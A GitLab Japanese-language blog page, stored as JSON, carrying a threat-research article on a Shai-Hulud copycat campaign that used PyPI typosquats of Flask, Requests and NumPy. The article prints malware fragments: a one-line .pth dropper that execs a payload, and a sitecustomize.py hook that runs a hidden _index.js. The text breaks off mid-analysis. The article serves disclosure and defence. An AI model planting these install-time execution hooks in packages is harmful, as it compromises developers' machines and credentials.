[{"data":1,"prerenderedAt":1742},["ShallowReactive",2],{"/ja-jp/blog/categories/security-labs":3,"navigation-ja-jp":22,"banner-ja-jp":452,"footer-ja-jp":460,"security-labs-category-page-total-items-ja-jp":702,"security-labs-category-page-featured-ja-jp":703,"security-labs-category-page-1-ja-jp":1721},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":12,"description":6,"extension":15,"meta":16,"navigation":9,"path":17,"seo":18,"slug":6,"stem":20,"testContent":6,"type":6,"__hash__":21},"blogCategories/ja-jp/blog/categories/security-labs.yml","Security Labs",null,{"template":8,"isCustomCategory":9,"slug":10,"hide":11},"BlogCategory",true,"security-labs",false,{"name":13,"description":14},"セキュリティリサーチ","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.","yml",{},"/ja-jp/blog/categories/security-labs",{"title":13,"description":19},"Browse articles related to セキュリティリサーチ on the GitLab Blog","ja-jp/blog/categories/security-labs","-X8QcedzdzVRaFBAA3gmxbVhS6zVmEJT1EYG7gUnsgc",{"logo":23,"freeTrial":28,"sales":33,"login":38,"items":43,"search":372,"minimal":405,"duo":422,"switchNav":431,"pricingDeployment":442},{"config":24},{"href":25,"dataGaName":26,"dataGaLocation":27},"/ja-jp/","gitlab logo","header",{"text":29,"config":30},"無料トライアルを開始",{"href":31,"dataGaName":32,"dataGaLocation":27},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":34,"config":35},"デモをリクエスト",{"href":36,"dataGaName":37,"dataGaLocation":27},"/ja-jp/sales/?contact-topic=request-demo","sales",{"text":39,"config":40},"サインイン",{"href":41,"dataGaName":42,"dataGaLocation":27},"https://gitlab.com/users/sign_in/","sign in",[44,73,175,180,294,350],{"text":45,"config":46,"menu":48},"プラットフォーム",{"dataNavLevelOne":47},"platform",{"type":49,"columns":50},"cards",[51,57,65],{"title":45,"description":52,"link":53},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":54,"config":55},"プラットフォームの詳細はこちら",{"href":56,"dataGaName":47,"dataGaLocation":27},"/ja-jp/platform/",{"title":58,"description":59,"link":60},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":61,"config":62},"GitLab Duoのご紹介",{"href":63,"dataGaName":64,"dataGaLocation":27},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":66,"description":67,"link":68},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":69,"config":70},"詳細はこちら",{"href":71,"dataGaName":72,"dataGaLocation":27},"/ja-jp/why-gitlab/","why gitlab",{"text":74,"left":9,"config":75,"menu":77},"製品",{"dataNavLevelOne":76},"solutions",{"type":78,"link":79,"columns":83,"feature":154},"lists",{"text":80,"config":81},"すべてのソリューションを表示",{"href":82,"dataGaName":76,"dataGaLocation":27},"/ja-jp/solutions/",[84,109,132],{"title":85,"description":86,"link":87,"items":92},"自動化","CI/CDと自動化でデプロイを加速",{"config":88},{"icon":89,"href":90,"dataGaName":91,"dataGaLocation":27},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[93,97,100,105],{"text":94,"config":95},"CI/CD",{"href":96,"dataGaLocation":27,"dataGaName":94},"/ja-jp/solutions/continuous-integration/",{"text":58,"config":98},{"href":63,"dataGaLocation":27,"dataGaName":99},"gitlab duo agent platform - product menu",{"text":101,"config":102},"ソースコード管理",{"href":103,"dataGaLocation":27,"dataGaName":104},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":106,"config":107},"自動化されたソフトウェアデリバリー",{"href":90,"dataGaLocation":27,"dataGaName":108},"Automated software delivery",{"title":110,"description":111,"link":112,"items":117},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":113},{"href":114,"dataGaName":115,"dataGaLocation":27,"icon":116},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[118,122,127],{"text":119,"config":120},"アプリケーションセキュリティテスト",{"href":114,"dataGaName":121,"dataGaLocation":27},"Application security testing",{"text":123,"config":124},"ソフトウェアサプライチェーンセキュリティ",{"href":125,"dataGaLocation":27,"dataGaName":126},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":128,"config":129},"ソフトウェアコンプライアンス",{"href":130,"dataGaName":131,"dataGaLocation":27},"/ja-jp/solutions/software-compliance/","software compliance",{"title":133,"link":134,"items":139},"測定",{"config":135},{"icon":136,"href":137,"dataGaName":138,"dataGaLocation":27},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[140,144,149],{"text":141,"config":142},"可視性と測定",{"href":137,"dataGaLocation":27,"dataGaName":143},"Visibility and Measurement",{"text":145,"config":146},"バリューストリーム管理",{"href":147,"dataGaLocation":27,"dataGaName":148},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":150,"config":151},"分析とインサイト",{"href":152,"dataGaLocation":27,"dataGaName":153},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":155,"type":78,"items":156},"GitLabが活躍する場所",[157,163,169],{"text":158,"config":159},"大企業",{"icon":160,"href":161,"dataGaLocation":27,"dataGaName":162},"Building","/ja-jp/enterprise/","enterprise",{"text":164,"config":165},"スモールビジネス",{"icon":166,"href":167,"dataGaLocation":27,"dataGaName":168},"Work","/ja-jp/small-business/","small business",{"text":170,"config":171},"公共部門",{"icon":172,"href":173,"dataGaLocation":27,"dataGaName":174},"Organization","/ja-jp/solutions/public-sector/","public sector",{"text":176,"config":177},"価格",{"href":178,"dataGaName":179,"dataGaLocation":27,"dataNavLevelOne":179},"/ja-jp/pricing/","pricing",{"text":181,"config":182,"menu":184},"関連リソース",{"dataNavLevelOne":183},"resources",{"type":78,"link":185,"columns":189,"feature":283},{"text":186,"config":187},"すべてのリソースを表示",{"href":188,"dataGaName":183,"dataGaLocation":27},"/ja-jp/resources/",[190,223,250],{"title":191,"items":192},"はじめに",[193,198,203,208,213,218],{"text":194,"config":195},"インストール",{"href":196,"dataGaName":197,"dataGaLocation":27},"/ja-jp/install/","install",{"text":199,"config":200},"クイックスタートガイド",{"href":201,"dataGaName":202,"dataGaLocation":27},"/ja-jp/get-started/","quick setup checklists",{"text":204,"config":205},"学ぶ",{"href":206,"dataGaLocation":27,"dataGaName":207},"https://university.gitlab.com/","learn",{"text":209,"config":210},"製品ドキュメント",{"href":211,"dataGaName":212,"dataGaLocation":27},"https://docs.gitlab.com/ja-jp/","product documentation",{"text":214,"config":215},"ベストプラクティスビデオ",{"href":216,"dataGaName":217,"dataGaLocation":27},"/ja-jp/getting-started-videos/","best practice videos",{"text":219,"config":220},"インテグレーション",{"href":221,"dataGaName":222,"dataGaLocation":27},"/ja-jp/integrations/","integrations",{"title":224,"items":225},"検索する",[226,231,236,241,245],{"text":227,"config":228},"お客様成功事例",{"href":229,"dataGaName":230,"dataGaLocation":27},"/ja-jp/customers/","customer success stories",{"text":232,"config":233},"ブログ",{"href":234,"dataGaName":235,"dataGaLocation":27},"/ja-jp/blog/","blog",{"text":237,"config":238},"Demo Hub",{"href":239,"dataGaName":240,"dataGaLocation":27},"/ja-jp/demo-hub/","demo hub",{"text":242,"config":243},"The Source",{"href":244,"dataGaName":235,"dataGaLocation":27},"/ja-jp/the-source/",{"text":246,"config":247},"リモート",{"href":248,"dataGaName":249,"dataGaLocation":27},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":251,"items":252},"つなげる",[253,258,263,268,273,278],{"text":254,"config":255},"GitLabサービス",{"href":256,"dataGaName":257,"dataGaLocation":27},"/ja-jp/services/","services",{"text":259,"config":260},"コントリビュート",{"href":261,"dataGaName":262,"dataGaLocation":27},"https://contributors.gitlab.com","contribute",{"text":264,"config":265},"コミュニティ",{"href":266,"dataGaName":267,"dataGaLocation":27},"/community/","community",{"text":269,"config":270},"フォーラム",{"href":271,"dataGaName":272,"dataGaLocation":27},"https://forum.gitlab.com/","forum",{"text":274,"config":275},"イベント",{"href":276,"dataGaName":277,"dataGaLocation":27},"/events/","events",{"text":279,"config":280},"パートナー",{"href":281,"dataGaName":282,"dataGaLocation":27},"/ja-jp/partners/","partners",{"config":284,"title":287,"text":288,"link":289},{"background":285,"textColor":286},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","GitLabの最新情報","最新の機能と改善点に関する情報をお届けします。",{"text":290,"config":291},"最新情報を読む",{"href":292,"dataGaName":293,"dataGaLocation":27},"/ja-jp/whats-new/","whats new",{"text":295,"config":296,"menu":298},"企業情報",{"dataNavLevelOne":297},"company",{"type":78,"columns":299},[300],{"items":301},[302,307,313,315,320,325,330,335,340,345],{"text":303,"config":304},"GitLabについて",{"href":305,"dataGaName":306,"dataGaLocation":27},"/ja-jp/company/","about",{"text":308,"config":309,"footerGa":312},"採用情報",{"href":310,"dataGaName":311,"dataGaLocation":27},"/jobs/","jobs",{"dataGaName":311},{"text":274,"config":314},{"href":276,"dataGaName":277,"dataGaLocation":27},{"text":316,"config":317},"経営陣",{"href":318,"dataGaName":319,"dataGaLocation":27},"/company/team/e-group/","leadership",{"text":321,"config":322},"ハンドブック",{"href":323,"dataGaName":324,"dataGaLocation":27},"https://handbook.gitlab.com/","handbook",{"text":326,"config":327},"投資家向け情報",{"href":328,"dataGaName":329,"dataGaLocation":27},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":331,"config":332},"トラストセンター",{"href":333,"dataGaName":334,"dataGaLocation":27},"/ja-jp/security/","trust center",{"text":336,"config":337},"AI Transparency Center",{"href":338,"dataGaName":339,"dataGaLocation":27},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":341,"config":342},"ニュースレター",{"href":343,"dataGaName":344,"dataGaLocation":27},"/company/contact/#contact-forms","newsletter",{"text":346,"config":347},"プレス",{"href":348,"dataGaName":349,"dataGaLocation":27},"/press/","press",{"text":351,"config":352,"menu":353},"お問い合わせ",{"dataNavLevelOne":297},{"type":78,"columns":354},[355],{"items":356},[357,362,367],{"text":358,"config":359},"お問い合わせはこちら",{"href":360,"dataGaName":361,"dataGaLocation":27},"/ja-jp/sales/","talk to sales",{"text":363,"config":364},"サポートを受ける",{"href":365,"dataGaName":366,"dataGaLocation":27},"https://support.gitlab.com/hc/en-us","support portal",{"text":368,"config":369},"カスタマーポータル",{"href":370,"dataGaName":371,"dataGaLocation":27},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":373,"login":374,"suggestions":381},"閉じる",{"text":375,"link":376},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":377,"config":378},"GitLab.com",{"href":41,"dataGaName":379,"dataGaLocation":380},"search login","search",{"text":382,"default":383},"提案",[384,386,391,393,397,401],{"text":58,"config":385},{"href":63,"dataGaName":58,"dataGaLocation":380},{"text":387,"config":388},"コード提案（AI）",{"href":389,"dataGaName":390,"dataGaLocation":380},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":94,"config":392},{"href":96,"dataGaName":94,"dataGaLocation":380},{"text":394,"config":395},"GitLab on AWS",{"href":396,"dataGaName":394,"dataGaLocation":380},"/ja-jp/partners/technology-partners/aws/",{"text":398,"config":399},"GitLab on Google Cloud",{"href":400,"dataGaName":398,"dataGaLocation":380},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":402,"config":403},"GitLabを選ぶ理由",{"href":71,"dataGaName":404,"dataGaLocation":380},"Why GitLab?",{"freeTrial":406,"mobileIcon":410,"desktopIcon":415,"secondaryButton":418},{"text":29,"config":407},{"href":408,"dataGaName":32,"dataGaLocation":409},"https://gitlab.com/-/trials/new/","nav",{"altText":411,"config":412},"GitLabアイコン",{"src":413,"dataGaName":414,"dataGaLocation":409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":411,"config":416},{"src":417,"dataGaName":414,"dataGaLocation":409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":191,"config":419},{"href":420,"dataGaName":421,"dataGaLocation":409},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":423,"mobileIcon":427,"desktopIcon":429},{"text":424,"config":425},"GitLab Duoの詳細について",{"href":63,"dataGaName":426,"dataGaLocation":409},"gitlab duo",{"altText":411,"config":428},{"src":413,"dataGaName":414,"dataGaLocation":409},{"altText":411,"config":430},{"src":417,"dataGaName":414,"dataGaLocation":409},{"button":432,"mobileIcon":437,"desktopIcon":439},{"text":433,"config":434},"/switch",{"href":435,"dataGaName":436,"dataGaLocation":409},"#contact","switch",{"altText":411,"config":438},{"src":413,"dataGaName":414,"dataGaLocation":409},{"altText":411,"config":440},{"src":441,"dataGaName":414,"dataGaLocation":409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":443,"mobileIcon":448,"desktopIcon":450},{"text":444,"config":445},"料金ページに戻る",{"href":178,"dataGaName":446,"dataGaLocation":409,"icon":447},"back to pricing","GoBack",{"altText":411,"config":449},{"src":413,"dataGaName":414,"dataGaLocation":409},{"altText":411,"config":451},{"src":417,"dataGaName":414,"dataGaLocation":409},{"title":453,"button":454,"config":458},"GitLab Orbitが登場: AIエージェントのためのコンテキストレイヤー",{"text":69,"config":455},{"href":456,"dataGaName":457,"dataGaLocation":27},"/ja-jp/gitlab-orbit/","orbit",{"layout":459,"disabled":11},"release",{"data":461},{"text":462,"source":463,"edit":469,"contribute":474,"config":479,"items":484,"minimal":693},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":464,"config":465},"ページのソースを表示",{"href":466,"dataGaName":467,"dataGaLocation":468},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":470,"config":471},"このページを編集",{"href":472,"dataGaName":473,"dataGaLocation":468},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":475,"config":476},"ご協力をお願いします",{"href":477,"dataGaName":478,"dataGaLocation":468},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":480,"facebook":481,"youtube":482,"linkedin":483},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[485,530,583,626,660],{"title":176,"links":486,"subMenu":501},[487,491,496],{"text":488,"config":489},"プランの表示",{"href":178,"dataGaName":490,"dataGaLocation":468},"view plans",{"text":492,"config":493},"Premiumを選ぶ理由",{"href":494,"dataGaName":495,"dataGaLocation":468},"/ja-jp/pricing/premium/","why premium",{"text":497,"config":498},"Ultimateを選ぶ理由",{"href":499,"dataGaName":500,"dataGaLocation":468},"/ja-jp/pricing/ultimate/","why ultimate",[502],{"title":351,"links":503},[504,506,508,510,515,520,525],{"text":351,"config":505},{"href":360,"dataGaName":37,"dataGaLocation":468},{"text":363,"config":507},{"href":365,"dataGaName":366,"dataGaLocation":468},{"text":368,"config":509},{"href":370,"dataGaName":371,"dataGaLocation":468},{"text":511,"config":512},"ステータス",{"href":513,"dataGaName":514,"dataGaLocation":468},"https://status.gitlab.com/","status",{"text":516,"config":517},"利用規約",{"href":518,"dataGaName":519,"dataGaLocation":468},"/terms/","terms of use",{"text":521,"config":522},"プライバシーに関する声明",{"href":523,"dataGaName":524,"dataGaLocation":468},"/ja-jp/privacy/","privacy statement",{"text":526,"config":527},"Cookie 優先設定",{"dataGaName":528,"dataGaLocation":468,"id":529,"isOneTrustButton":9},"cookie preferences","ot-sdk-btn",{"title":74,"links":531,"subMenu":540},[532,536],{"text":533,"config":534},"DevSecOpsプラットフォーム",{"href":56,"dataGaName":535,"dataGaLocation":468},"devsecops platform",{"text":537,"config":538},"AI支援開発",{"href":63,"dataGaName":539,"dataGaLocation":468},"ai-assisted development",[541],{"title":542,"links":543},"トピック",[544,548,553,558,563,568,573,578],{"text":94,"config":545},{"href":546,"dataGaName":547,"dataGaLocation":468},"/ja-jp/topics/ci-cd/","cicd",{"text":549,"config":550},"GitOps",{"href":551,"dataGaName":552,"dataGaLocation":468},"/ja-jp/topics/gitops/","gitops",{"text":554,"config":555},"DevOps",{"href":556,"dataGaName":557,"dataGaLocation":468},"/ja-jp/topics/devops/","devops",{"text":559,"config":560},"バージョン管理",{"href":561,"dataGaName":562,"dataGaLocation":468},"/ja-jp/topics/version-control/","version control",{"text":564,"config":565},"DevSecOps",{"href":566,"dataGaName":567,"dataGaLocation":468},"/ja-jp/topics/devsecops/","devsecops",{"text":569,"config":570},"クラウドネイティブ",{"href":571,"dataGaName":572,"dataGaLocation":468},"/ja-jp/topics/cloud-native/","cloud native",{"text":574,"config":575},"コーディングのためのAI",{"href":576,"dataGaName":577,"dataGaLocation":468},"/ja-jp/topics/devops/ai-for-coding/","ai for coding",{"text":579,"config":580},"エージェント型AI",{"href":581,"dataGaName":582,"dataGaLocation":468},"/ja-jp/topics/agentic-ai/","agentic ai",{"title":584,"links":585},"ソリューション",[586,589,591,596,600,603,606,609,611,613,616,621],{"text":119,"config":587},{"href":114,"dataGaName":588,"dataGaLocation":468},"Application Security Testing",{"text":106,"config":590},{"href":90,"dataGaName":91,"dataGaLocation":468},{"text":592,"config":593},"アジャイル開発",{"href":594,"dataGaName":595,"dataGaLocation":468},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":597,"config":598},"SCM",{"href":103,"dataGaName":599,"dataGaLocation":468},"source code management",{"text":94,"config":601},{"href":96,"dataGaName":602,"dataGaLocation":468},"continuous integration & delivery",{"text":145,"config":604},{"href":147,"dataGaName":605,"dataGaLocation":468},"value stream management",{"text":549,"config":607},{"href":608,"dataGaName":552,"dataGaLocation":468},"/ja-jp/solutions/gitops/",{"text":158,"config":610},{"href":161,"dataGaName":162,"dataGaLocation":468},{"text":164,"config":612},{"href":167,"dataGaName":168,"dataGaLocation":468},{"text":614,"config":615},"公共機関",{"href":173,"dataGaName":174,"dataGaLocation":468},{"text":617,"config":618},"教育",{"href":619,"dataGaName":620,"dataGaLocation":468},"/ja-jp/solutions/education/","education",{"text":622,"config":623},"金融サービス",{"href":624,"dataGaName":625,"dataGaLocation":468},"/ja-jp/solutions/finance/","financial services",{"title":627,"links":628},"リソース",[629,631,633,635,639,641,644,646,648,650,652,654,656,658],{"text":194,"config":630},{"href":196,"dataGaName":197,"dataGaLocation":468},{"text":199,"config":632},{"href":201,"dataGaName":202,"dataGaLocation":468},{"text":204,"config":634},{"href":206,"dataGaName":207,"dataGaLocation":468},{"text":209,"config":636},{"href":637,"dataGaName":638,"dataGaLocation":468},"https://docs.gitlab.com/ja-jp","docs",{"text":232,"config":640},{"href":234,"dataGaName":235,"dataGaLocation":468},{"text":642,"config":643},"最新リリース",{"href":292,"dataGaName":293,"dataGaLocation":468},{"text":227,"config":645},{"href":229,"dataGaName":230,"dataGaLocation":468},{"text":246,"config":647},{"href":248,"dataGaName":249,"dataGaLocation":468},{"text":254,"config":649},{"href":256,"dataGaName":257,"dataGaLocation":468},{"text":259,"config":651},{"href":261,"dataGaName":262,"dataGaLocation":468},{"text":264,"config":653},{"href":266,"dataGaName":267,"dataGaLocation":468},{"text":269,"config":655},{"href":271,"dataGaName":272,"dataGaLocation":468},{"text":274,"config":657},{"href":276,"dataGaName":277,"dataGaLocation":468},{"text":279,"config":659},{"href":281,"dataGaName":282,"dataGaLocation":468},{"title":661,"links":662},"会社情報",[663,665,667,669,671,673,677,682,684,686,688],{"text":303,"config":664},{"href":305,"dataGaName":297,"dataGaLocation":468},{"text":308,"config":666},{"href":310,"dataGaName":311,"dataGaLocation":468},{"text":316,"config":668},{"href":318,"dataGaName":319,"dataGaLocation":468},{"text":321,"config":670},{"href":323,"dataGaName":324,"dataGaLocation":468},{"text":326,"config":672},{"href":328,"dataGaName":329,"dataGaLocation":468},{"text":674,"config":675},"Sustainability",{"href":676,"dataGaName":674,"dataGaLocation":468},"/sustainability/",{"text":678,"config":679},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":680,"dataGaName":681,"dataGaLocation":468},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":331,"config":683},{"href":333,"dataGaName":334,"dataGaLocation":468},{"text":341,"config":685},{"href":343,"dataGaName":344,"dataGaLocation":468},{"text":346,"config":687},{"href":348,"dataGaName":349,"dataGaLocation":468},{"text":689,"config":690},"現代奴隷制の透明性に関する声明",{"href":691,"dataGaName":692,"dataGaLocation":468},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":694},[695,697,700],{"text":516,"config":696},{"href":518,"dataGaName":519,"dataGaLocation":468},{"text":698,"config":699},"Cookieの設定",{"dataGaName":528,"dataGaLocation":468,"id":529,"isOneTrustButton":9},{"text":521,"config":701},{"href":523,"dataGaName":524,"dataGaLocation":468},4,{"id":704,"title":705,"authors":706,"body":709,"category":10,"date":1704,"description":1705,"extension":1706,"externalUrl":6,"faq":6,"featured":9,"heroImage":1707,"meta":1708,"navigation":9,"path":1709,"seo":1710,"slug":1713,"stem":1714,"tags":1715,"template":1718,"updatedDate":1719,"__hash__":1720},"blogPosts/ja-jp/blog/shai-hulud-copycat-campaign-targets-python-developers.md","PyPIタイポスクワッティングを悪用したShai-Hulud模倣攻撃、Python開発者を狙う",[707,708],"Dinesh Bolkensteyn","Daniel Abeles",{"type":710,"value":711,"toc":1689},"minimark",[712,723,726,730,738,773,782,785,794,797,801,819,881,888,909,978,984,987,990,1028,1031,1034,1088,1091,1094,1187,1190,1193,1222,1225,1238,1245,1261,1264,1480,1483,1486,1511,1514,1624,1628,1641,1650,1658,1661,1670,1673,1685],[713,714,715,716,722],"p",{},"GitLabの脆弱性リサーチチームは、PyPIを標的とした組織的なサプライチェーン攻撃を確認しました。この攻撃では、",[717,718,721],"a",{"href":719,"rel":720},"https://about.gitlab.com/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack/",[],"Shai-Hulud","マルウェアのコピーが展開されています。悪意あるパッケージは5つ確認されており、Flask、Requests、NumPyを偽装したタイポスクワット4つと、武器化された正規プロジェクト1つが含まれます。これらのパッケージはインストール時にコードを実行し、インポートや関数呼び出しは不要です。また、自己増殖型の認証情報窃取ツールを内包しており、主要クラウドプロバイダー全般のCI/CD環境を標的としています。",[713,724,725],{},"GitLabが影響を受けるパッケージをいずれも使用していないことを確認しました。より広範なセキュリティコミュニティが適切に対応できるよう、調査結果を公開します。",[727,728,729],"h2",{"id":729},"攻撃の詳細",[713,731,732,733,737],{},"監視システムは、2026年6月7日、単一アカウント（",[734,735,736],"code",{},"elitexp","）から公開された悪意ある5つのPyPIパッケージを検知しました。そのうち4つはタイポスクワットです。",[739,740,741,757,765],"ul",{},[742,743,744,750,751,756],"li",{},[745,746,747],"strong",{},[734,748,749],{},"rlask"," と ",[745,752,753],{},[734,754,755],{},"tlask","：Flaskのタイポスクワット",[742,758,759,764],{},[745,760,761],{},[734,762,763],{},"rsquests","：Requestsのタイポスクワット",[742,766,767,772],{},[745,768,769],{},[734,770,771],{},"nhmpy","：NumPyのタイポスクワット",[713,774,775,776,781],{},"5つ目の ",[745,777,778],{},[734,779,780],{},"mflux-streamlit"," は、実際のユーザーを持つ正規プロジェクトです。攻撃者はタイポスクワット展開後、悪意あるバージョン0.0.3および0.0.4を公開することで、このプロジェクトを武器化しました。",[713,783,784],{},"攻撃者はまず、本物の最新リリースのバージョン番号（Flask 3.1.3、Requests 2.34.2、NumPy 2.4.6）と完全に一致するクリーンな「プローブ」バージョンを公開しました。これらが問題なくインデックスされると、攻撃者はワームのペイロードを組み込んだ新しいバージョンを公開しました。",[713,786,787,788,793],{},"これは模倣による展開です。Shai-Huludの背後にある集団TeamPCPは、2026年5月12日にワームのコードを",[717,789,792],{"href":790,"rel":791},"https://ramimac.me/teampcp/",[],"オープンソース化しました","。以来、独立した攻撃者がこのツールキットを入手し、新たなターゲットを狙う動きを追跡してきました。今回のキャンペーンにより、同じワームがPythonエコシステムへも展開されました。",[727,795,796],{"id":796},"技術分析",[798,799,800],"h3",{"id":800},"初期感染ベクター",[713,802,803,804,807,808,811,812,814,815,818],{},"元のnpmバリアントは ",[734,805,806],{},"preinstall"," スクリプトを使用していました。このキャンペーンでは別のアプローチを採用し、Pythonの ",[734,809,810],{},".pth"," ファイルメカニズムを悪用しています。Wheelパッケージは ",[734,813,810],{}," ファイルを同梱でき、Pythonは起動時にこれを自動的に処理するため、明示的なインポートは不要です。各悪意あるパッケージには ",[734,816,817],{},"rlask-setup.pth"," のようなファイルが含まれており、1行のドロッパーが記述されています。",[820,821,826],"pre",{"className":822,"code":823,"language":824,"meta":825,"style":825},"language-py shiki shiki-themes github-light","import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),\".bun_ran\");\n_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')\n","py","",[734,827,828,859],{"__ignoreMap":825},[829,830,833,837,841,844,847,849,852,856],"span",{"class":831,"line":832},"line",1,[829,834,836],{"class":835},"sD7c4","import",[829,838,840],{"class":839},"sgsFI"," os ",[829,842,843],{"class":835},"as",[829,845,846],{"class":839}," _O,tempfile ",[829,848,843],{"class":835},[829,850,851],{"class":839}," _T;_G=_O.path.join(_T.gettempdir(),",[829,853,855],{"class":854},"sYBdl","\".bun_ran\"",[829,857,858],{"class":839},");\n",[829,860,862,865,868,872,875,878],{"class":831,"line":861},2,[829,863,864],{"class":839},"_O.path.exists(_G)",[829,866,867],{"class":835},"or",[829,869,871],{"class":870},"sYu0t"," exec",[829,873,874],{"class":839},"(",[829,876,877],{"class":854},"'import os as _o,subprocess as _s,urllib.request as _u...'",[829,879,880],{"class":839},")\n",[713,882,883,884,887],{},"ドロッパーはシステムの一時ディレクトリ内のマーカーファイル（",[734,885,886],{},".bun_ran","）の存在を確認して再実行を防ぎ、次にGitHubからBun JavaScriptランタイムをダウンロードし、パッケージ内にバンドルされた5 MBの難読化されたJavaScriptペイロードを実行します。",[713,889,890,892,893,896,897,900,901,904,905,908],{},[734,891,749],{}," の初期バージョンには、バックアップの実行経路として ",[734,894,895],{},"sitecustomize.py"," ファイルも含まれていました。Pythonは起動時に ",[734,898,899],{},"sitecustomize"," を自動インポートし、このファイルは ",[734,902,903],{},"sys.path"," から隠し ",[734,906,907],{},"_index.js"," ペイロードを検索します。",[820,910,912],{"className":822,"code":911,"language":824,"meta":825,"style":825},"import subprocess, os, sys\nfor d in sys.path:\n  js = os.path.join(d, \"_index.js\")\n  if os.path.exists(js):\n    subprocess.run([\"node\", js])\n    break\n",[734,913,914,921,935,952,960,972],{"__ignoreMap":825},[829,915,916,918],{"class":831,"line":832},[829,917,836],{"class":835},[829,919,920],{"class":839}," subprocess, os, sys\n",[829,922,923,926,929,932],{"class":831,"line":861},[829,924,925],{"class":835},"for",[829,927,928],{"class":839}," d ",[829,930,931],{"class":835},"in",[829,933,934],{"class":839}," sys.path:\n",[829,936,938,941,944,947,950],{"class":831,"line":937},3,[829,939,940],{"class":839},"  js ",[829,942,943],{"class":835},"=",[829,945,946],{"class":839}," os.path.join(d, ",[829,948,949],{"class":854},"\"_index.js\"",[829,951,880],{"class":839},[829,953,954,957],{"class":831,"line":702},[829,955,956],{"class":835},"  if",[829,958,959],{"class":839}," os.path.exists(js):\n",[829,961,963,966,969],{"class":831,"line":962},5,[829,964,965],{"class":839},"    subprocess.run([",[829,967,968],{"class":854},"\"node\"",[829,970,971],{"class":839},", js])\n",[829,973,975],{"class":831,"line":974},6,[829,976,977],{"class":835},"    break\n",[713,979,980,981,983],{},"攻撃者は後のバージョンでこのバックアップメカニズムを削除し、",[734,982,810],{}," アプローチ単独で十分と判断したようです。",[798,985,986],{"id":986},"ペイロードの難読化",[713,988,989],{},"JavaScriptペイロードは3層で難読化されています。",[991,992,993,1010,1017],"ol",{},[742,994,995,996,999,1000,1003,1004,1006,1007,1009],{},"整数配列に適用された ",[745,997,998],{},"ROT-N文字暗号","（ローテーション値はパッケージによって異なります：",[734,1001,1002],{},"rlask@3.1.4"," はROT-13、",[734,1005,763],{}," はROT-17、",[734,1008,755],{}," はROT-25）",[742,1011,1012,1013,1016],{},"ハードコードされた鍵を使用した ",[745,1014,1015],{},"AES-128-GCM暗号化","（2つの暗号化ブロブを生成）",[742,1018,1019,1020,1023,1024,1027],{},"内部ペイロードへの標準的な ",[745,1021,1022],{},"変数名マングリング","（",[734,1025,1026],{},"_0x"," プレフィックス難読化）",[713,1029,1030],{},"コードを実行することなく、静的解析によってペイロードを復号しました。最初のブロブ（907バイト）はBunランタイムダウンローダーです。2番目のブロブ（772 